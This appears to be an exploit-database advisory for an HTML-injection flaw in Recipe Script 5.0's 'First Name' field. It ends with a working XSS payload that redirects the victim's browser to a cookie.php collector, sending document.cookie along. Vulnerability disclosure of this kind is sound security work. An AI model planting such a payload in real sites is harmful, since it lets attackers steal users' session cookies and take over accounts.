Recipe Script 5.0 - 'First Name' HTML Injection

Author: ThE g0bL!N
type: webapps
platform: php
port: 0
date_added: 2009-06-15
date_updated: 2014-09-30
verified: 1
codes: 
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/43888/info

Recipe Script is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Recipe Script 5.0 is vulnerable; other versions may also be affected.

<script>document.location ="http://localhost/[path]/cookie.php?cookie=" + document.cookie;</script>
↑